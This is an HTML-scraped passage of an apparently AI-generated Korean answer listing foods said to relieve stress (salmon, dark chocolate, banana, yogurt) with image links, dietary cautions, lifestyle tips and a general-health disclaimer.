rel="noopener" class="source ng-star-inserted" s://m.choroc.com/goods/WG027607" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ3p0XQFRTFZ0LuG52VafXpsufoIi1DN_08MXvA2OdEVT95t7kJiLXv9QI8Xae1X4GkYRTdZhidEY3hz7Bomp30Do32rQQc"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">m.choroc.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 연어 </div></div></single-image></response-element></div></span></li> </ul><p data-sourcepos="22:1-22:14"><strong>4. 다크 초콜릿:</strong></p><ul data-sourcepos="24:1-26:0"> <li data-sourcepos="24:1-24:80"><strong>효능:</strong> 다크 초콜릿에 함유된 플라바놀 성분은 뇌의 엔도르핀 분비를 촉진하여 기분을 좋게 만들고, 스트레스를 완화하는 효과가 있습니다.</li> <li data-sourcepos="25:1-26:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%8B%A4%ED%81%AC%EC%B4%88%EC%BD%9C%EB%A6%BF"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="다크 초콜릿 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTqVmZU5BtyupiPD5EFlYVC8xq7aFu0ILUYP8BCn5BrlQVmLsLrfDrMfm8FhJRI"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%8B%A4%ED%81%AC%EC%B4%88%EC%BD%9C%EB%A6%BF" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 다크 초콜릿 </div></div></single-image></response-element></div></span></li> </ul><p data-sourcepos="27:1-27:11"><strong>5. 바나나:</strong></p><ul data-sourcepos="29:1-31:0"> <li data-sourcepos="29:1-29:69"><strong>효능:</strong> 바나나에 함유된 트립토판은 세로토닌 합성을 촉진하여 안정감을 주고, 스트레스를 완화하는 데 도움을 줍니다.</li> <li data-sourcepos="30:1-31:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%B0%94%EB%82%98%EB%82%98"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="바나나 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSyp_OHLD_jOtgWxMe8djlFJzpwzQWh6xiZPGj9R-bQiGEPy_RpbNqZm8SXB5NR"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%B0%94%EB%82%98%EB%82%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 바나나 </div></div></single-image></response-element></div></span></li> </ul><p data-sourcepos="32:1-32:12"><strong>6. 요구르트:</strong></p><ul data-sourcepos="34:1-36:0"> <li data-sourcepos="34:1-34:70"><strong>효능:</strong> 요구르트에 함유된 프로바이오틱스는 장 건강을 개선하고, 스트레스로 인한 불안감을 완화하는 데 도움을 줍니다.</li> <li data-sourcepos="35:1-36:0"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.kurly.com/goods/1000320733"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="요구르트 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR92vK8-vloEb2xkQpTd1_zBsAo_9d-pd1u0plY39afoLAIhqn3uL3mQ6ggBpQf"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.kurly.com/goods/1000320733" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSTdBAN7WRYjNyOcUbUBGqmsMtOaI3jTUlITMftIlQCokEXDEgNnccqLmEbAAWX4bhBLHp3e1U8hxe-XPookJ1v82oDPaduhw"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.kurly.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 요구르트 </div></div></single-image></response-element></div></span></li> </ul><h3 data-sourcepos="37:1-37:28">스트레스 해소에 좋은 음식 섭취 시 주의사항</h3><ul data-sourcepos="39:1-42:0"> <li data-sourcepos="39:1-39:71"><strong>균형 잡힌 식단:</strong> 특정 음식만을 과도하게 섭취하기보다는 다양한 식품을 골고루 섭취하여 영양 불균형을 예방해야 합니다.</li> <li data-sourcepos="40:1-40:89"><strong>개인별 맞춤 영양:</strong> 개인의 건강 상태와 체질에 따라 적합한 음식이 다를 수 있으므로, 전문가와 상담하여 자신에게 맞는 식단을 구성하는 것이 좋습니다.</li> <li data-sourcepos="41:1-42:0"><strong>꾸준한 운동:</strong> 음식 섭취와 함께 꾸준한 운동을 병행하면 스트레스 해소 효과를 더욱 높일 수 있습니다.</li> </ul><h3 data-sourcepos="43:1-43:29">스트레스 해소에 도움이 되는 음식 외에도...</h3><ul data-sourcepos="45:1-48:0"> <li data-sourcepos="45:1-45:34"><strong>충분한 수면:</strong> 숙면은 스트레스 해소에 필수적입니다.</li> <li data-sourcepos="46:1-46:44"><strong>규칙적인 생활:</strong> 규칙적인 생활 습관은 스트레스 관리에 도움이 됩니다.</li> <li data-sourcepos="47:1-48:0"><strong>스트레스 관리 기법 활용:</strong> 명상, 요가, 심호흡 등 다양한 스트레스 관리 기법을 활용해 보세요.</li> </ul><p data-sourcepos="49:1-49:33"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kormedi.com/1725470/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="스트레스 해소를 위한 다양한 방법 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR51SoQhKPsR-nAnvk-ZoTaLVY6HCf_cXisSSLw5qzP8K6YMvhcBt0Clxx1wOEk"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1725470/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_73e79e83f427ce7f","c_6cc8ddea6fff40b8",null,"rc_b623cf72a9105cdb",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 스트레스 해소를 위한 다양한 방법 </div></div></single-image></response-element></div></span></p><p data-sourcepos="51:1-51:96"><strong>결론적으로,</strong> 음식은 스트레스 해소를 위한 중요한 도구입니다. 위에서 소개된 음식들을 꾸준히 섭취하고, 건강한 생활 습관을 유지하여 스트레스 없는 삶을 만들어나가세요.</p><p data-sourcepos="53:1-53:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="55:1-55:60"><strong>참고:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 적용 방식이 다를 수 있습니다.</p><p data-sourcepos="57:1-57:76"><strong>키워드:</strong> 스트레스 해소, 스트레스 해소 음식, 건강, 영양, 식단, 견과류, 녹색 잎채소, 연어, 다크 초콜릿, 바나나, 요구르트</p></div> </div></div>